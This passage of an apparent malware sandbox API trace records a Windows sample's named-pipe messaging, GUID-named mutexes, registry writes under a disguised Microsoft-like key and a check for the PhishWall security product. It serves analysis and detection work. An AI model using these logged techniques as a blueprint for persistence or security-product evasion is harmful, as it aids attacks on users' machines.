lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x53 [0701.568] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0701.568] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{6a5e21ff-c1fa-2c95-9b3e-8520ff528954}"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0701.569] GetLastError () returned 0x2 [0701.569] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcb0 | out: hHeap=0x9770000) returned 1 [0701.573] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0701.573] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0701.573] CloseHandle (hObject=0x558) returned 1 [0701.573] FlushFileBuffers (hFile=0x11c0) returned 1 [0701.574] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0701.574] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0701.574] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0701.574] GetLastError () returned 0x3e5 [0701.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0705.549] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0705.549] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0705.549] GetLastError () returned 0x3e5 [0705.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0705.550] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0705.550] CloseHandle (hObject=0x558) returned 1 [0705.550] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc30 [0705.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc30, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0xa40) returned 0x558 [0705.550] CloseHandle (hObject=0x558) returned 1 [0705.550] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0705.550] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0705.551] CloseHandle (hObject=0x558) returned 1 [0705.551] FlushFileBuffers (hFile=0x11c0) returned 1 [0705.551] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0705.551] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0705.551] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0705.551] GetLastError () returned 0x3e5 [0705.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0715.565] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0715.565] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0715.565] GetLastError () returned 0x3e5 [0715.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0715.565] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0715.565] CloseHandle (hObject=0x558) returned 1 [0715.565] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0715.565] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0715.565] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a7f110, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a7f110*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0715.565] GetLastError () returned 0x3e5 [0715.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0715.566] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0715.566] CloseHandle (hObject=0x558) returned 1 [0715.571] GetTickCount () returned 0xbaf9f [0715.571] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9518880, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0715.580] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6dc30 [0715.580] wsprintfA (in: param_1=0x9b6dc30, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned 38 [0715.580] lstrlenA (lpString="Local\\") returned 6 [0715.580] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6dc60 [0715.580] lstrcpyA (in: lpString1=0x9b6dc60, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0715.580] lstrcatA (in: lpString1="Local\\", lpString2="{F2C61CFD-A979-F476-C346-ED68A7DA711C}" | out: lpString1="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}" [0715.580] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0715.580] GetFileSize (in: hFile=0x558, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3 [0715.580] CreateFileMappingA (hFile=0x558, lpFileMappingAttributes=0x9518880, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3, lpName="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned 0x564 [0715.580] lstrlenA (lpString="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned 44 [0715.580] lstrcpyA (in: lpString1=0x9d7f724, lpString2="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}" | out: lpString1="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}" [0715.580] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc60 | out: hHeap=0x9770000) returned 1 [0715.580] CloseHandle (hObject=0x558) returned 1 [0715.581] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0715.581] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f6b0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f6b0*, lpNumberOfBytesWritten=0x9d7f698*=0xc, lpOverlapped=0x9d7f650) returned 1 [0715.581] CloseHandle (hObject=0x558) returned 1 [0715.581] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0715.581] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f710*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f710*, lpNumberOfBytesWritten=0x9d7f698*=0x98, lpOverlapped=0x9d7f650) returned 1 [0715.581] CloseHandle (hObject=0x558) returned 1 [0715.581] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0715.581] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0x0 [0715.581] GetLastError () returned 0x3e5 [0715.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f630*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0715.582] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f640, lpNumberOfBytesTransferred=0x9d7f688, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f688) returned 0 [0715.582] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0 [0715.582] GetLastError () returned 0x6d [0715.582] CloseHandle (hObject=0x558) returned 1 [0715.582] CloseHandle (hObject=0x564) returned 1 [0715.582] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0715.582] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0715.582] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760) returned 0 [0715.582] GetLastError () returned 0xe8 [0715.582] CloseHandle (hObject=0x564) returned 1 [0715.582] FlushFileBuffers (hFile=0x11c0) returned 1 [0715.582] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0715.583] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0715.583] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0715.583] GetLastError () returned 0x3e5 [0715.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0722.633] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0722.633] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0xc, lpOverlapped=0x9d7f7a0) returned 1 [0722.633] CloseHandle (hObject=0x564) returned 1 [0722.633] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9b6dc30 [0722.633] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0722.633] ReadFile (in: hFile=0x11c0, lpBuffer=0x9b6dc30, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9b6dc30*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0722.633] CloseHandle (hObject=0x564) returned 1 [0722.638] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x564) returned 0x0 [0722.642] RegSetValueExA (in: hKey=0x564, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9b6dc30*, cbData=0x2c | out: lpData=0x9b6dc30*) returned 0x0 [0722.642] RegCloseKey (hKey=0x564) returned 0x0 [0722.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0722.643] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0722.643] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0722.643] CloseHandle (hObject=0x564) returned 1 [0722.643] FlushFileBuffers (hFile=0x11c0) returned 1 [0722.643] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0722.643] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0722.643] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0722.643] GetLastError () returned 0x3e5 [0722.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0736.611] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0736.611] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 0x0 [0736.611] GetLastError () returned 0x3e5 [0736.612] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0736.612] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 0 [0736.612] CloseHandle (hObject=0x564) returned 1 [0736.612] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9b6dc30 [0736.612] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0736.612] ReadFile (in: hFile=0x11c0, lpBuffer=0x9b6dc30, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9b6dc30*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0736.612] CloseHandle (hObject=0x564) returned 1 [0736.612] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x564) returned 0x0 [0736.612] RegSetValueExA (in: hKey=0x564, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9b6dc30*, cbData=0x2c | out: lpData=0x9b6dc30*) returned 0x0 [0736.612] RegCloseKey (hKey=0x564) returned 0x0 [0736.612] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0736.612] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x564 [0736.612] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0736.613] CloseHandle (hObject=0x564) returned 1 [0736.613] FlushFileBuffers (hFile=0x11c0) returned 1 [0736.613] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0736.613] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0736.613] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0736.613] GetLastError () returned 0x3e5 [0736.613] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 49 os_tid = 0xb10 [0044.819] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0xad4 [0044.820] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x11b0 [0044.820] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x11ac [0044.820] SetLastError (dwErrCode=0xb7) [0044.820] CreateEventA (lpEventAttributes=0x9518880, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x119c [0044.820] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x1194 [0044.820] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0xb58 [0044.820] SetLastError (dwErrCode=0xb7) [0044.820] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x11a4 [0044.820] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x11a8 [0044.820] SetLastError (dwErrCode=0xb7) [0044.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.944] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x298 [0095.944] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName=0x0) returned 0x0 [0095.944] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName=0x0) returned 0x8c0 [0095.944] GetLastError () returned 0x0 [0095.944] SetWaitableTimer (hTimer=0x8c0, lpDueTime=0x9c7f7f8, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0095.944] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\SecureBrain\\PhishWall", ulOptions=0x0, samDesired=0x20219, phkResult=0x9c7f8a8 | out: phkResult=0x9c7f8a8*=0x0) returned 0x2 [0095.955] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc) returned 0x9b6dc30 [0095.955] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6dc30, nInBufferSize=0xc, lpOutBuffer=0x9c7f7a0, nOutBufferSize=0xc, lpBytesRead=0x9c7f7f0, nTimeOut=0x1 | out: lpOutBuffer=0x9c7f7a0, lpBytesRead=0x9c7f7f0) returned 1 [0095.972] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0096.025] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7b8 | out: phkResult=0x9c7f7b8*=0xa94) returned 0x0 [0096.026] RegSetValueExA (in: hKey=0xa94, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0096.026] RegCloseKey (hKey=0xa94) returned 0x0 [0096.026] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc) returned 0x9b6dc30 [0096.026] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6dc30, nInBufferSize=0xc, lpOutBuffer=0x9c7f7a0, nOutBufferSize=0xc, lpBytesRead=0x9c7f7f0, nTimeOut=0x1 | out: lpOutBuffer=0x9c7f7a0, lpBytesRead=0x9c7f7f0) returned 1 [0096.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0096.027] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7b8 | out: phkResult=0x9c7f7b8*=0x5c4) returned 0x0 [0096.027] RegSetValueExA (in: hKey=0x5c4, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0096.028] RegCloseKey (hKey=0x5c4) returned 0x0 [0096.028] GetSystemTime (in: lpSystemTime=0x9c7f770 | out: lpSystemTime=0x9c7f770*(wYear=0x7e3, wMonth=0x6, wDayOfWeek=0x0, wDay=0x9, wHour=0xf, wMinute=0x6, wSecond=0xf, wMilliseconds=0x311)) [0096.028] wsprintfA (in: param_1=0x9c7f760, param_2="%02u:%02u:%02u " | out: param_1="15:06:15 ") returned 9 [0096.028] IStream:Stat (in: This=0x72b44a0, pstatstg=0x9c7f780, grfStatFlag=0x1 | out: pstatstg=0x9c7f780) returned 0x0 [0096.028] IStream:RemoteSeek (in: This=0x72b44a0, dlibMove=0x0, dwOrigin=0x2, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0096.028] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x9c7f760*=0x31, cb=0x9, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.028] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x94ea988*=0x53, cb=0x8, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.028] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x94ea94c*=0xd, cb=0x2, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc) returned 0x9b6dc30 [0096.028] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6dc30, nInBufferSize=0xc, lpOutBuffer=0x9c7f7a0, nOutBufferSize=0xc, lpBytesRead=0x9c7f7f0, nTimeOut=0x1 | out: lpOutBuffer=0x9c7f7a0, lpBytesRead=0x9c7f7f0) returned 1 [0096.030] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0096.030] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7b8 | out: phkResult=0x9c7f7b8*=0xa94) returned 0x0 [0096.030] RegSetValueExA (in: hKey=0xa94, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0096.030] RegCloseKey (hKey=0xa94) returned 0x0 [0096.030] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc) returned 0x9b6dc30 [0096.030] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x9b6dc30, nInBufferSize=0xc, lpOutBuffer=0x9c7f7a0, nOutBufferSize=0xc, lpBytesRead=0x9c7f7f0, nTimeOut=0x1 | out: lpOutBuffer=0x9c7f7a0, lpBytesRead=0x9c7f7f0) returned 1 [0096.031] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0096.031] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7b8 | out: phkResult=0x9c7f7b8*=0x5c4) returned 0x0 [0096.032] RegSetValueExA (in: hKey=0x5c4, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0096.032] RegCloseKey (hKey=0x5c4) returned 0x0 [0096.032] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run", phkResult=0x9c7f510 | out: phkResult=0x9c7f510*=0x0) returned 0x2 [0096.032] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5c4 [0096.032] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f870 | out: phkResult=0x9c7f870*=0xa94) returned 0x0 [0096.032] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegNotifyChangeKeyValue") returned 0x7fefd721820 [0096.032] RegNotifyChangeKeyValue (hKey=0xa94, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c4, fAsynchronous=1) returned 0x0 [0096.033] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0096.033] WaitForSingleObject (hHandle=0x8c0, dwMilliseconds=0x0) returned 0x102 [0096.033] WaitForSingleObject (hHandle=0x1194, dwMilliseconds=0x0) returned 0x0 [0096.033] WaitForSingleObject (hHandle=0xb58, dwMilliseconds=0x0) returned 0x0 [0096.033] SetWaitableTimer (hTimer=0x1194, lpDueTime=0x9c7f918, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0096.033] SwitchToThread () returned 1 [0096.117] ReleaseMutex (hMutex=0xb58) returned 1 [0096.117] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f798 | out: phkResult=0x9c7f798*=0x6d8) returned 0x0 [0096.117] RegQueryValueExA (in: hKey=0x6d8, lpValueName="LastTask", lpReserved=0x0, lpType=0x9c7f720, lpData=0x0, lpcbData=0x9c7f7e8*=0x0 | out: lpType=0x9c7f720*=0x0, lpData=0x0, lpcbData=0x9c7f7e8*=0x0) returned 0x2 [0096.117] RegCloseKey (hKey=0x6d8) returned 0x0 [0096.117] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10000) returned 0x9a90820 [0096.117] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, 